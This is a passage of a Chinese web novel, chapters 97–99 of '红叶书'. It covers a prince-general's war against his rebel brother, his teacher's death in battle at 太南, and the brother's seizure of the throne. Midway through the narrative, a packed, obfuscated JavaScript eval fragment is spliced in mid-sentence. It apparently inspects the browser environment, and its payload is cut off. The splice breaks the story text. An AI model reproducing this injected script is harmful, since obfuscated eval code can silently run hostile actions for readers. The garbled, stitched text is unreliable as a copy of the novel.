他想了想说:“我没放在心上,我知道他们顾虑,征兵前要愁自己吃不饱饭,当了兵后要愁自己留不住这条命,绕来绕去都是一条命,他们也不容易。” 崔敬先侧目看他,“那将军也不用自己调钱,安抚两句就行了。” 这件事上梁风没多想,“我就是看金丞相不也有时会从自己府里调钱补助国库,应当不妨事的吧。” 崔敬先随意“哦”一声,“这些我倒是不知道。” 梁风又看了看崔敬先,直接问:“你来跟我说这些,是崔将军让你来的么?” “我爹?”崔敬先摆摆手,“当然不是,他出征时从不会寄家书。” “出征之前也没有么?” “没有啊。” 梁风也“哦”一声,脚底一跳,没话找话,“你不用叫我将军,我都还没真正带兵出征,称不起将军。” “啊——我也是哎。”崔敬先手指着自己的脸,“我也还没带过兵,但底下那些人也都叫我将军,听起来怪怪的。” “对啊。”梁风说:“可是让他们改,他们又不改。” “是啊是啊。” “还说什么军令不可违,其实说的话都不听。” “是啊是啊。”崔敬先仿佛找到同道中人,“我跟爹说,我爹还训斥我,说尊卑就该有个尊卑的样子,不喊你将军,喊什么?” 崔敬先耸肩,“我爹就是这么死板。” 梁风哈哈一笑,“但是崔将军是个好将军。” 崔敬先今年只有十六,比他小一岁,上阵父子兵,身上沾了点来自父亲的威望。在老兵营中,说话比梁风还有些分量。 到了军驿,梁风将奏折交给宫里太监,崔敬先给城里崔府寄去家书。梁风随口问了一句:“平常军营里往城内寄的家书多么?” 军役回答:“多的。” “将军平常不寄家书?”崔敬先问。 梁风又愣了,这次愣好久不知道能说什么。 崔敬先打量梁风神情,然后笑了笑,无辜摊手,“那我该叫你什么?” 梁风闻言,笑了出来,仔细想了想道:“叫我梁风吧。” 崔敬先煞有介事地点点头。 “那我能叫你什么?”梁风低头往外走,再顿步抬头说:“敬先。” “称呼都无所谓啊,叫什么都可以。”崔敬先语气很无奈,“敬先敬先,死板的父亲就是会起这种尊敬祖先的名字。” 梁风一笑,“挺好的啊。” “有那么一点点不好,若换作是我,或是我阿娘起,就叫敬安。”崔敬先笑笑,“这才是个大将军会起的名。” 梁风若有所悟。 快到营帐,崔敬先说:“风兄不如也写封家书寄去城里。” 梁风想到了母亲,有些心动。 “每日那些奏折里你能提及家里人?”敬先问:“可别像我爹那样,出门在外连个口信都不捎回家里。” 可是他的信不知道能不能送到母亲手里,梁风说:“我母亲在太后身边。” 崔敬先恍然,“太后身边,那就远了点。” 说出来,梁风更觉沮丧了,“是啊,看不见是一种远,有时候看见了她反而觉得更远。” “但是风兄不如试试,寄不到再说,刚才看你样子,你是想寄的吧。” 梁风脚步停住,正好停在营帐入口前。 崔敬先行了个军礼,“风兄我先告退了。” 星夜下,梁风目送崔敬先融入烛火最盛亮处。 走了这一段路,反倒不困了,梁风入账还不想睡,于是提笔写信。 寄去宫里的私信即便能送到母亲手上,在此之前肯定会被好几个人打开查看,他不好意思写太多体己话,简单的问候关心就行,只是一定要在末尾记得问太后圣上好。 另外,倒还可加上他在军营里的生活,交代他这边一切都好。 写着写着,末尾停笔再看,还是不知不觉写了满篇体己话。 梁风叹口气,重读了一遍,只觉写出来反而加重了胸腔里的那点情绪。 他索性收好,另起纸提笔,写了一封给顾琼的信。 停笔抬头,才发现天亮了。他怀揣着信纸,仿佛还揣了一点不安,交由军役一起送去太南。 过了四五日,有信寄来。 竟然能收到回信,真是让他意外。 回信有两封,一封是顾琼的,另一封竟然是金絮的,更让他意外了。 顾琼信中唠唠叨叨地说太南最近天气不好,懒怠出门,醉仙楼都不好玩了,金絮则简简单单地问候几句。 梁风很喜,写信,原本就只是想要回信而已。他立即起纸回复,篇幅控制得不短不长,写好迅速寄去。 再过几日,居然又来信了。 军营里的一切,仿佛都变得色彩缤纷。梁风沉浸在这种你来我往之中。 只是这色彩很快被一封紧急军报抹去。 崔固那边,战况胶着。七月初,崔固丢失一座县城,后撤百里。 太南再来的信,他再抽不出空回复。 淮南王在这时上呈的折子中言欲支援朝廷抗匈,且是淮南王亲自领兵北上。 皇帝雷霆震怒。 梁风早朝得知后,跟着满朝文官一起寂成了雕塑。 朝廷就算需要支援,也用不着劳驾位处最南方的越国,路远不说,从越地发兵支援崔固,援兵势必路过京城。到那时,万一淮南王突然反悔,直接驻兵在京城附近,梁风觉得这也不是二哥做不出来的事情。 淮南王的目标很明显不是北境匈奴,而是京城。 但他不信,四月时二哥还试图以越国百姓做借口,不可能在这时丢弃一切廉耻。 皇帝盛怒之下大喊:“贬淮南王为庶人!收缴越国兵权!” 金延守立刻出言阻止:“陛下,不可!这时贬淮南王为庶才是真正给其起兵之机!” 满朝一片附和。 “陛下,失了一座县城,崔固未必抵挡不住,无需越国援助。反倒是东南一带,旱灾流民遍地,山匪常年作乱,规模已不小,淮南王既有心援助,不如派兵平匪,也正好借此探他兵力。” 皇帝面色阴沉,扫视殿下众臣。梁风默默站着不敢说话。 最后皇帝还是下旨,命淮南王安抚好越地流民,无需派遣援兵,圣旨末尾加了一句,若淮南王违旨出兵,朝廷即刻贬其为庶人。 梁风第一次见到梁究发这么大火,他从朝殿出来,双腿有些站不住。 “怎么办啊,老李......” 梁风回了一趟王府,忙里挤出了一点空闲。 李晟默半晌,才说:“王爷,必要时候,做将领的,只有为君是从。” 过了几日,拟好的旨意还未下放,又传来消息说淮南王命林怒带兵三万,北上援助崔固,数日前大军已经出发了。 皇帝彻底坐不住了,早朝时不顾阻拦从龙椅下来,对着群臣大喊: “命他把兵权给朕交出来!” 帝王冕旒荡得纠缠在一起,在寂静的朝殿内发出清脆的碰响。群臣讷讷不敢言。 消息一日一报,林怒似乎毫不介意自己脚程被朝廷的探子发现,先行的五千精骑行进速度竟十分快,最多一个半月就会路过京城。 金延守说,在淮南王明确表露出欲谋上的意图前,朝廷绝不可先行妄动。金丞相请圣上下旨,派一名将军带兵在林怒所经之处设暗伏,一旦发现林怒欲向京城攻来,届时再全力抵挡。 皇帝允了,只是在决定派遣哪一名将军时,大臣们展开了激烈的争执。 梁风不发一言地垂头站着。 军营里有金诚金诺,金丞相为避嫌也不说话。只有十数名大臣你来我往地争辩,到底哪个少年将军最适合与林怒对阵。 这些大臣,有些人实际是金丞相的嘴,代替金延守说话;有的支持崔固,荐崔敬先领兵;有的甚至说让太尉领兵。 梁风也在心里默默判断,觉得不太可能派出金家兄弟或崔敬先,不然若是此战胜了林怒,金延守和崔固在朝中文武两派的地位越发不可撼动了。 但若真在其中选,也只可能是崔敬先,而不是金诚金诺。 争论过后,最终定为贺兰小将军。 然而贺兰小将军今年才十五。 没选他,梁风慢慢把气松下来,才发现嘴里把牙关咬得很紧。 皇帝陷入沉思,金延守这时开口,建议派贺兰小将军领兵两万,太尉坐镇军中,再由金诚金诺与崔敬先为副手辅佐贺兰小将军。 如此一来,军功分散,不管是胜是败,都不会出现独领功劳的人。剩下的兵力给梁风守着京城。 皇帝允了。 梁风什么都没说,一众少年将军接了旨。 十天内紧急筹集粮草辎重,梁风再没空睡觉了。 崔敬先等人一走 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梁究不是在早朝将旨令下发给他的,而是在天禄阁,在母亲与太后的面前。 他跪地仰首,皇帝脸上是隐而不发的肃穆,太后面无表情,母亲在后含泪看着他。 梁风什么都没说,接了旨。 军资早已筹备好,五日后,带兵出发。 他刚离开京畿地带,斥候传来消息,说淮南王四万兵力从西侧进攻,经过莫寒关,另有赵横一路,携五万兵力从正南方进攻京城。 梁风震惊了,二哥竟养了这么多兵! 皇帝紧急下旨调拨贺兰小将军抵挡赵横,再急召崔固回京。 梁风这时意识到,林怒的目标的确不是京城,而是崔固,但林怒不是去援助崔固的,而是去阻拦崔固回京! 梁风抓着谍报的手指在颤抖,忽然感觉大势不妙。 他带领大军急进,抢在梁戟之前抵达莫寒关,就地驻兵,征招当地男丁。京城还留了五千兵力,他手下几乎全是农民兵。梁风站在城楼上往下看,黑压压满是瘦削的人,农民身上铠甲都支撑不起来,他握刀的手忍不住发抖。 九十四岁的太尉握不住刀也就罢了,他这十七岁的少年竟然也握不住刀。 梁戟大军逐渐逼近,梁风日日焦躁不安地在营中踱步,胸铠压得透不过气,心里总觉得是昏沉的脑袋影响他做出判断,不知是主动追击,还是在莫寒关防守。 然而就在这时,梁戟大军停了。 停在莫寒关十里地外。 梁风的心脏仿佛也跟着停了。 他急忙跑到最高的城楼上,但是望不见梁戟。 心脏深处莫名浮现一股希冀,他大睁着眼睛,试图望穿这十里地的距离。 直到夕阳覆下,荒地都变成了暖色,热了起来。 梁戟一支十数人的骑兵小队从远处正面驰来,毫不遮挡,装备齐全精良。城墙上弓箭手立即搭弓瞄准,梁风连忙挥手止住,“等一下!” 那支骑兵小队看起来不是进攻的,虽然装备齐全,但没有举起武器,他牢牢盯着,备其动作。 骑兵小队在距离城墙百米外停住,抬头看着城头,为首一人拉弓射出一箭,箭尖却不是瞄准墙头上的人。 梁风仍不下令攻击,任那箭支射入城中。 箭支在空中最高点微微一滞,往城中下落的速度便慢了。 只射出了一箭,那人便放下弓,再看墙头两息,然后转身,一行人复驰马离去。 射来的箭上绑了封信,小兵呈给梁风,他展开一看,只有一句话: “你站在了我的对面。” 眼前模糊了瞬息,他觉得头晕,嗓子眼仿佛被人紧紧攥住。 他的拳头在砖上重重一砸,自己捅开胸嗓,大声朝看不见的淮南王嘶喊:“二哥——!” 喊声不知是否传至十里之外。 此刻暖色荒地的对面,梁戟也站在天幕下,与梁风的方向遥遥相望。 身后孙提道:“将军,在此处僵持似乎不妥。” “无妨。”梁戟面色沉静,“此战我有十成把握。” 孙提不再多言。梁戟默然许久,才看着远方近在咫尺的京城,自语道:“他若不孝,往后也不会敬我。” 梁风胸口闷了一夜。 前半夜脸趴在桌案铺着的一堆文书里,后半夜站在沙盘模型前发呆。直到天亮。 他走出营帐,立于城头。 雾蓝的颜色弥漫莫寒关外,天幕尽头群山隐隐。天阔地阔,阔不开他的心。 太阳未起,那支骑兵小队又来了,再次射来一封信。信纸呈上来时,梁风几乎不愿意看。 信上还是只有一句话: “阿风,我是不是身后没有你了?” 瞬间心脏疼得仿佛被一条虫子钻进去啮咬,冷汗霎时流下来,喉间漫上一股腥甜,他意识空白了片刻。 再睁眼时,他躺在了营中的床榻上。 下属不断问他是否出击,梁戟那边却始终无再次逼近的意图。 两方继续僵持,平白消耗粮草。 “退......” “什么?” “我说退!”梁风愤而大喊:“让出莫寒关!” 他双眼布满血丝,眉目狰狞,语气濒临撕心裂肺。 下属被吓,连忙应是。 然而,全军尚未撤出莫寒关时,天幕尽头出现了梁戟的军旗。 梁风望见,愣了一下,继而双目欲裂,紧紧抓着墙砖,几近捏碎。 “你来啊!你来我就迎敌!” “你来啊!” 他朝着敌方军旗大声喊,身体几乎想从墙头飞过去,声音比荒地的砂石还要沙哑。可是吼得再大,也只能在他心里惊天动地。 梁戟大军的旗帜又不动了。 这时传来军报,贺兰小将军大败,连退两座城池,撤退至太南。 太南是京城的门户,若是太南被破,皇帝就需立即逃离京城。 梁风怔怔看着递送求援军报的斥候,眼中涌出了泪水,他夺过旁边兵士手里的弓,用尽全力朝梁戟射出一箭。 利箭带着愤恨,刺破静谧的天穹。 “退!” 98. 《红叶书》(十八) “将军要退?” 下属不摆礼姿,直立立注视梁风。 退还是不退? “赵横若是突破太南,直逼京城,大周仍危。”梁风说。 朝廷现在是冀希望于他还是崔固? 崔固被匈奴和林怒两面夹击,消息暂时传不过来。贺兰小将军那边反倒送来了求援信号,太尉在发兵途中就已不堪辛劳与颠簸而病逝,贺兰小将军比预期晚了半天抵达定县,夜深时中了赵横的埋伏,伤亡近半。 “莫寒关暂留兵力抵挡,我们援助太南,待击退赵横,再回头攻打淮南王。” 这是梁风想了一夜的办法,如果梁戟愿意跟他继续僵持,那只要不让梁戟知道他离开莫寒关就行,封锁莫寒关通讯,趁夜偷偷潜出,等梁戟反应过来,绕过莫寒关再次进军,梁风回头抵挡都来得及。 “我意已决,按我说的做。”他冷硬道。 下属告退。 梁风还有一句话不愿意说,以他的兵力和调度,自觉打不过梁戟,不如尽量降低伤亡。 夜间,梁风留下三千兵力,将剩余一万多士兵分三批,趁浓云遮月时潜出莫寒关,直奔太南而去。 希望现在赶去还来得及。 他一面疾驰,接收各处消息,一面放出自己将领兵五万支援贺兰小将军的风声。 朝廷已下旨,言皇帝绝不撤离,望各位将军全力迎敌。然而旨意虽下,却没有调援留守京城的五千兵力。 梁风日夜赶路,几不停息,先锋骑兵终于在十月下旬看见太南城门。 曙光微露,远远便能望见烽烟,远远便能闻见血腥。 城门布满龟状裂纹,是巨石投掷击出的痕迹,遥遥欲碎,但是抵挡住了。梁风猜测赵横应当还没有攻进城中。 荒野一地尸体,在城墙根堆了一人高。 梁风抓紧挥鞭。距离城门还有两里地时,一支冷箭向他侧面袭来,梁风本能挥刀一挡,箭支弹开,他扭头朝后方队伍大喊:“有埋伏!” 来不及反应,潜伏在四周的人蜂拥而上,削砍马腿,梁风人马瞬间倒了大半。 他认出是赵横的兵,身下战马忽然前跌,他就地一滚,不容多想,身体被逼至紧绷状态,本能已经令他挥刀砍破两名士兵的胸膛。 热血飞溅在他视线中,场面瞬间乱作一团,读的所有兵书在这一刻想不起来哪怕一句,他只知道用手里的刀挡住别人向他砍来的刀,空隙中仅存的理智是分辨对面的人是我军还是敌军。 但是赵横没有出现,且埋伏在这的人数并不多。等到敌军只剩下几个人还站着时,梁风意识到赵横这是在试探他的兵力。他还有一万人带着辎重跟随在后方,那边恐怕遭到了更猛烈的伏击。 “入城!”梁风大喊。 剩余人马急至城门下,梁风放出信号弹,等待片刻,贺兰小将军的身影出现在城头上。接着城门打开,梁风越过尸体进入城中,看见一身伤血的贺兰小将军。 崔敬先失血过多,重伤昏迷,金诚金诺都负了大大小小的伤口。 受疮更深的是太南城,赵横首次进攻时就已有大批百姓逃往城外,可直到现在,仍有百姓未来得及逃出,城内哭嚎漫天。 “刚才城外,赵横一定试出了我的兵力,最近几日内,赵横一定会发兵再次进攻。” 贺兰小将军点头,“眼下要征招男丁充兵。” 太南所剩兵力不到一千,梁风只能下令去抓尚未逃出太南的男丁。被迫征来的男人们没时间训练,甚至铠甲都不够穿,套上头盔,抓着弓箭就往城头一摆。 这日夜深,梁风后勤的一万人马带着辎重抵达。只剩下五千人。他立刻开始统筹军资,分配调拨各个兵种。 但是赵横没留给他太多时间。 两日后,赵横再次发起进攻。 太南兵力不够,只能守城,梁风另派一支千人小队在赵横攻城时从侧面偷袭。 遭到赵横埋伏时,他已经意识到了,不真正打一次仗,不真正挥刀砍一次人,兵书读再多都没用。号角声响起,阵脚摆得如何漂亮,还不是轻易会乱,不如直接见人就砍。 且赵横进攻如此频繁,士兵肯定来不及休整,情况未必比他好多少。只要他能拿下赵横,就可以抽身去打梁戟。 只要拿下赵横。 城外草木稀疏,赵横大军黑压压一片。 梁风在城头与赵横对望。赵横的面容远远看去,模糊在一片铠甲之中。 弓箭手等他下令,梁风失神一瞬,赵横攻城的巨石就投了过来。 仿佛地动山摇,巨大的撞击声淹没一切话语。梁风下令,弓箭手射出火箭,漫天箭矢如雨落,赵军被击散,却未能止住巨石。 投石不光以城门为目标,还有数颗小石投入城内,且小石中混以绳团,那一团绳子在空中展开,变成一张边缘绑了重物的大网,扑住不及逃开的士兵。紧急征招的兵士纷纷躲避,梁风安排的岗哨布阵全乱了。 他点燃信号弹,暗令派出的偷袭小队发出进攻。 很快,隔远能看见赵横军阵腰部遭袭,陷入混乱,但投石攻击仍未停止。梁风焦急起来,只能调遣更多的人守住城门。 一个士兵突然从墙头外冒出,梁风想都没想立即射出一箭,那士兵额心中箭仰面从墙头倒下去。敌军爬城梯已架好,更多敌方步兵爬上城头,梁风下令泼油火烧,指挥部分弓箭手朝墙根射击,再令多推几辆战车顶住城门。 弓箭手火力被削弱,但墙根堆积的尸体足够厚的话也可以阻挡敌军攻城。 城墙侧方疏漏处,一个满身伤火的敌军翻过城头,爬上来胡乱冲锋,面容焦黑模糊,双眼流着浊血,手中没有武器,见人就打。梁风被骇了一跳,急忙一箭射去,那浑身是火的敌军无力抵挡,被一箭射倒,但新征来的士兵已经不顾他命令而自保逃亡。 越来越多的敌兵越过墙头,一声地动山摇的震响后,城门被攻破。 敌方投石攻击停了下来,赵军步兵喊杀着冲入城中。 梁风听着震耳欲聋的杀声,仍是挥刀不停,浑身沸腾的血液却忽然凉下来。 敌军不再翻爬城墙,城中厮杀与惨叫乱成一片,他隔着浓烈的黑烟与血腥,仿佛看见了敌军中赵横望着他的目光。 梁风站到墙头,纵身往下一跃,眼睛死死盯着看不清的赵横。 意识突然混乱,感觉像是以前从木桩跳下,望见师父站在地上抬头看他。梁风本能借着爬城梯,落入了正迎面冲过来的敌军之中。直到双脚震在地面,意识才陡然清醒,发觉自己离赵横还有很远的距离。 敌军向他攻击,他绷紧身体,挥出的每一刀都扎实地砍在敌人身上。也有刀剑砍在他的后背和大腿,他无暇顾及,每一条刀口都让身体沉重几分,他拼命挥斩,吸入的气息像在吸血,一边砍,一边往赵横的方向冲。 突然,身后感到巨大的危险逼近,他本能举刀横挡—— 当的一声,一柄熟悉的刀刃与他相交,赵横的脸骤然逼近入眼,梁风全身一愣。 两柄刀刃快速割过,激出几点火花,刺耳的声音后,赵横后跳拉开距离。 刚才师父的确在看他。 梁风一下不知如何动作。 赵横全身裹在铠甲中,看他的眼神比铠甲还沉重。 凉下的血又沸腾起来,往他的胸口烧,梁风瞬时压不住情绪,一刀空砍,冲赵横大吼:“你骗我!” 赵横无动于衷,冷静威严的目光直视他心底的空洞。 “你把你的一切传授给我,就是为了让我在这一刻和你对阵吗!” “你们都骗我!”他大喊。 周围的敌兵避开赵横,师父完全无视他的情绪,身影如电光般冲来。 铮—— 兵刃相交,梁风力气仍不及赵横,握住刀的双手止不住颤抖。 “战争之上,只有敌我!”空隙中,赵横低沉嘶哑出声:“我跟你说过多少次,为将者,决不能优柔寡断!” 赵横刀刃用力一划,两刀再次错开, 梁风大声怒吼,激动的情绪搅乱脑海,试图用情绪外放武装心底暴露出来的空洞,提刀奋力前冲,朝赵横砍去。赵横立即抵挡,撞击的响声几乎震碎他的耳朵。 赵横防守非常完美,但就是不会主动进攻。梁风握紧刀柄,每一次挥动都找准赵横的破绽,一次次紧逼,一次次被阻挡。 心底的委屈逐渐放大,空虚几乎淹没他的理智,挥刀越发盲目无章法,完全是在瞎砍。 “我这些年教你的,全都白教了吗!” 赵横大吼,刀身猛地从下往上勾挑,梁风的刀被挑飞出去,他自己被刀上凌厉的气势震得往后一荡。 他摔到地上,迅速拔出插在腿部铠甲里的小匕首,再次朝赵横冲去。 赵横仍是站着防守,刀横在身前。如果梁风要近身,势必会撞到刀上,但他顾忌不了那么多了,试图在刀挥过来的同时,将手中的匕首刺中赵横的脖子。 就在他已经抓住赵横肩铠,匕首即将刺入时,赵横左手猛地抬起抓住他握住刀柄的手臂。梁风前扑的身体完全贴近赵横近身—— 左侧传来细微的破空声,余光中寒光一闪,来不及反应,梁风突然发现赵横看他的目光像是在看着木桩上的他。 “欺骗中若完全不含真心,你怎么可能相信这么多年......” 师父的语调一如从前与他说的每一句话,低沉,没有起伏,甚至有点轻。 耳边扑哧声响,箭簇入肉,鲜血飞溅他的全脸。赵横直挺挺倒下,带着梁风摔在地上。 梁风大惊抬头—— “师父!” 一支箭,以箭尾冲上的角度擦着盔甲刺入赵横的右脑穴。师父大睁着双眼一动不动,鲜血覆了满脸,仍抓着他的手臂,横在身前的刀刃被梁风压在他和赵横的肚子中间。 抓住他手臂的掌心力度之大,传来的感受却不止是疼痛。 是在他冲近的一刻,赵横意识到了冷箭射来,若是挥刀挡箭,定会连着梁风的肚皮一起割开,而那一刻,赵横选择将刀身竖起,刀刃对着地面,梁风在撞上时,刀刃才没伤到他。 灭顶的悔恨充斥脑海,为什么看似是护在他身后,又要挡在他面前。 他往城头看去,黑烟升腾间,拉弓的人是金诚。 不及梁风多顾,旁边小兵攻来,他拿过赵横手里的刀,奋力砍杀。 将军身死,士兵很快一溃而散。 逃散的敌军路过身旁,不再多看他一眼。梁风深深喘气,头很晕,守在赵横尸首旁,防止踩踏,刀尖滑落的血液拉出一条丝滴入地面,四周的哭嚎与乱步和他越隔越远。 身后的师父一动不动,握刀的手仍在颤抖。 直到敌军散尽,周围只剩伤残士兵痛苦嚎叫,他才转头看向赵横。师父的面容没了威严,很平静,不见安详。 这时天空阴云吹来,遮住太阳,大风变凉,镇住满城血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宫门无人看守,他不卸铠甲佩刀,径直冲入。 他越过宫女太监的尸首,往他猜测梁戟所在位置冲去。 未央宫朝殿内十分静谧,没有尸首,没有威严,没有肃杀,只有四周数支烛火散发着光亮。 照亮龙椅上满身血气的男人。 梁戟端坐高位,听闻声响,转头向闯入的梁风脸上看来。 龙椅旁边斜靠一把浴血长剑。 梁风钉在原地,不知所措,脸上往下淌着水滴。 雨水冷风灌了进来。梁戟看他的眼神仿佛知道他会来。 “阿风。” 他一怔。梁戟的双眼逐渐变得比烛火还清晰。 “阿风,你怎么知道来这里找我?” 他不知道,回过神来时,马匹已经带他来这了。 “陛下呢?”他问:“二哥,大哥呢?” 梁戟露出淡淡的笑,眼神逐渐变得比烛火还柔和,“他跑了,但没跑远,我杀了他。你是来找我的吗?” 带了点安抚的语调听进耳中,无法镇定他一路颠簸的心,只清晰知道梁戟真的杀了梁究。 梁戟仍是笑,问:“你是来找我的。找我,想做什么?” 他张了张嘴,没说话,再闭上的嘴唇有点颤抖。 梁戟眼睛上下打量他一遍,然后笑说:“阿风,你长高了。” 梁风闭合牙关,紧紧抿唇,承接此刻梁戟甚至有些慈爱的目光。 “也是,你如今正是长身体的时候。”梁戟说完眉头一皱,左手缓缓捂住左腹,指尖血迹渗出。 梁风下意识脚步往前移动,极轻微,梁戟却在这时又说:“阿风,你杀死了赵横?” 他脚步骤然止住,浑身瞬间绷紧,眼睛不眨地看着梁戟。 “算了,若是死了,那便死了吧。我料到赵横会死。”梁戟语气陡轻,“若是赵横,恐怕也不完全是你杀的。” “你没事就好。”二哥看着梁风笑。 梁风这时再忍不住,“二哥......” 他前走一步,拳头因握得太紧,两臂在身侧难抑地晃动。 “在越国时......你换再多的夫子,我能从书上学到的,也只是兄友弟恭......” 他脸上往下淌着水滴。 “是啊,”梁戟轻笑,眼眸深处却现出一丝冰冷,“我想要你学会的,正是兄友弟恭。” 一瞬间喉咙被人攫住,他忘记了呼吸,流淌的水滴越发厚重。 想问为何教的人不会,只要被教的人学会。那一点冰冷,他从未见过,即便是从前梁戟生气时,也未见过。 梁戟站起身,离开龙椅,缓步迈下,站在梁风面前,抬手抹掉梁风脸上的水痕,却留下了指间的血迹。 “男子汉,有泪不轻弹,你就是心太软。” 胸腔情绪直冲头顶,冲得他眼前阵阵发黑,他打掉梁戟的手,轻声问:“你希望我心狠吗?” 梁戟敛了笑意,道:“阿风,你累了,休息会儿吧。” 一个人怎么能站在两个阵营里。他这时是不是应该庆幸,至少是变成一个阵营了。 梁风强压情绪,心脏疼出冷汗,看着梁戟往后退开一步,想走出朝殿,眼前却骤然一黑,仰面倒在地上,不省人事。 99. 《红叶书》(十九) 梁风在王府醒来时,下了第一场雪。 伤不算重,只是太久没休息,他躺了几日,参加梁戟的登基大典。 梁戟在群臣无言的怒视中登上皇位,改年号为天佑。 梁风一边养伤,一边在军营处理战后事宜,心里惦记着母亲。 梁究谥号哀帝,贺兰小将军战死,崔固和林怒两败俱伤,匈奴暂退,数不清的尸首等着掩埋。 林怒伤了右腿,痊愈后应当能走路,但再难以奔跑和骑马。崔固重伤,至今未醒。敬先已经醒了,从太南转移至京城,送回了崔府,大小伤口疗愈后,还能活蹦乱跳。金家两兄弟,也都回到丞相府。 赵横的尸体送来京城,他留下了赵横的佩刀,想亲自为赵横下葬。梁戟却没给他机会,将赵横交由九卿下葬。 过两日,各郡国为新皇送礼。梁风趁着这趟也送了礼,府里能拿出去的都送了,心里想着借此提醒梁戟,他也是个侯王,侯王早该赴藩了。 梁戟却在这时下旨大封。 追封赵横军衔,封林怒为国公,封崔固为定北侯,以及,也给梁风升了衔。 他如今是大将军了。 梁风接旨,疑惑这样的安排。杀死赵横,居然还能升衔。 和圣旨一起下来的,还有母亲。 和母亲一起来的,还有一位太监,是和他同去太南的那位大太监。 邓氏以照顾他为由,在王府住了几日。 “我如今在林昭仪身边伺候,林昭仪是三皇子的母亲。”邓氏说:“往后也不知会怎样。” “昭仪......”梁风穿着中衣坐在被子里,浑身很干燥,三皇子母亲能封昭仪,想必很受梁戟宠爱。 “林昭仪好伺候吗?能获陛下宠爱,日子应当好过。”他问。 “昭仪人还是好的。”邓氏摸摸他的脸颊,“你也要好过。” 梁风点点头。 母亲的到来像是朝堂对他送去的那些礼的回应。母亲走后,留下了那个太监。 他看着这位面白无须、神色恭敬的太监,十分无言。 十二月中时传来消息,崔固苏醒,脱离生命危险,接着又一道旨意下来,崔敬先被调至梁风麾下。 圣旨内容很多,除了对敬先的安排外,还命大司农下放军营士兵的赏钱,以及召应和王入朝。 大将军头衔太高,武将本身不能入朝,非召也不能进宫,梁戟是让他以应和王的身份参与朝会。 梁风有些意外,接了旨,不知梁戟究竟是何意思。原本以为升他为大将军,言下之意就是不让他参与政事。 他是不想去的。别说朝堂了,他甚至不知道自己在这偌大的京城里处于一个怎样的位置。每次想到这,想不明白,身上的伤疤就隐隐作痛。 军营反而是令他感觉比较舒服的地方。 大将军,这头衔别管虚不虚,至少顶着,就会有人看他,听他说话。 只是军营离朝堂太远,他完全没有消息来源,府里的人还都是梁究在他刚上京时调给他的。 拿着圣旨去找大司农调钱时,梁风顺路去看了看金延守。 金丞相闭门不见客。 看着紧闭的丞相府大门,他感到一丝不祥,想起金丞相之前跟他说过,若是梁戟成功,就是其他人难免一死。 调来的赏钱全部下放,战后事宜差不多处理完毕,他的伤也好了。 梁风隔日便奉旨去早朝,一路猜测梁戟命他上朝的原因以及金延守此时的处境,猜到朝堂肯定不安宁,但始终没什么风声漏出来,说不定情况尚且乐观。 忽视掉群臣时不时偷偷打量他的眼神,朝会和谐地开始。 行礼过后,梁风准备沉默站好,高位上的梁戟忽然垂眸向他看来,“应和王,你的伤如何了?” 他一愣,忙走出道:“多谢陛下关心,臣伤势已无大碍。” 梁戟微一点头,让群臣上奏。 梁戟第一件事居然是问他伤势如何,梁风有点惊了,心下不明所以,拿不准梁戟是不是真的关心他。还未想明白,大臣们上奏的内容立刻转移了他的注意。 六十四岁的御史大夫谢傅站出称匈奴之心仍未死,始终对大周虎视眈眈,欲联合草原部落再次发起进攻,询问圣上如何敌对。 御史中丞游照同提出攘外必先安内,当务之急是处置哀帝余党,哀帝余党在长泽以南拥立哀帝第四子,并自立为小朝廷一事才是燃眉之急,匈奴短时间内应不会再犯。 梁风诧异,不知道有这事。 哀帝一朝所剩不多的旧臣立即出言反对,直言指斥游照同,并针对游照同指桑骂槐地斥责梁戟罔顾人伦。 另有大臣说出,西南与东南万民叛起,匪患严重,询问是镇压还是招安还是剿灭。 再有大臣说出,今年整年的水患旱灾并未彻底整治完毕,战后郡县、受灾地区的重建与灾民安置仍未妥善处理,众多流民还聚集在京城及其他大郡城下。 梁风从不明所以变得惴惴不安,事情居然这么复杂,他偷偷看梁戟,想赴藩的念头,一下不知道怎么说出口。 梁戟毫无反应,一言不发,面无表情注视着百官首领——金延守。 金延守同样不动声色,站在队首微抬着头,平静地回视梁戟。 梁风意识到不对,梁戟上一次用这个眼神看的人是周敦。 啪—— 骤然一声拍打响彻朝殿内,梁风转头看去,见大司农一脸忍无可忍的怒容,将手里的芴板猛地摔在地上。 “钱!粮!钱!粮!攘外还是安内?你们先告诉我,钱从何处来?!” 大司农不顾礼仪,站立堂下,看着一众大臣,气得脸色涨红,双手愤然挥舞,声音嘶哑,袖子甩来甩去。 “治理天灾要钱,战后重建要钱,犒赏士兵要钱,镇压匪患要钱,你们说啊!钱从何处来?!” 大司农竭力一声大吼,镇住了满朝百官,梁风也被镇住了。 寂静之中,金延守站出道:“若匈奴再犯,应以和亲。” 紧跟着有大臣提出,陛下此时应下罪己诏...... 梁风更惊了。 梁戟听见这句话,才被逼得开口:“哀帝之事,与朕何干?为何要让朕下罪己诏?!” 这大臣一噎,讷讷不敢言,退了回去。 梁风隐隐知道梁戟为什么会让他上朝了。 群臣之间的矛盾显然隐而待发,梁戟自己犯上作乱,大臣们肯定不安分。 那梁戟召他的原因是想看他安不安分吗? 众臣上奏之事暂时商议不出个结果,梁戟也被一句罪己诏弄得没了耐心,宣布退朝,却让梁风留下了。 梁风有话想和金延守说,但梁戟留下了他,只能眼睁睁看着金延守离去。金丞相从头到尾没看其他任何人一眼。 “阿风。” 他一惊,猛地回头。朝殿之上,梁戟还穿着朝服,就这么唤他。 他忙垂首,应是。 “阿风,哀帝第四子你认得吗?” 他快速思索这话是何意,思绪刚冒个头,又怕梁戟等太久,实话说:“臣不认得。” 说完,思绪清晰了,也彻底压下了想赴藩的念头,这才是梁戟让他上朝的真正意图。 皇帝没说话。梁风抬起头,见梁戟没什么表情,也没什么笑意地看着他,说道:“臣愿意为陛下分忧。” 梁戟立刻淡淡笑了,像是夸赞。梁风心底一痛,紧跟着道:“二哥,你能放过金丞相吗?” 梁戟淡淡的笑立刻没了。梁风下意识感到紧张,又很快定神,与梁戟回视。 梁戟神色平静,不知在想什么。 久久无人说话。 在皇帝注视下,梁风全身逐渐冷下来,心里那点紧张也消失,他从来看不懂梁戟脸色,他肯定或是疑惑地轻声问:“你不会放过他?” 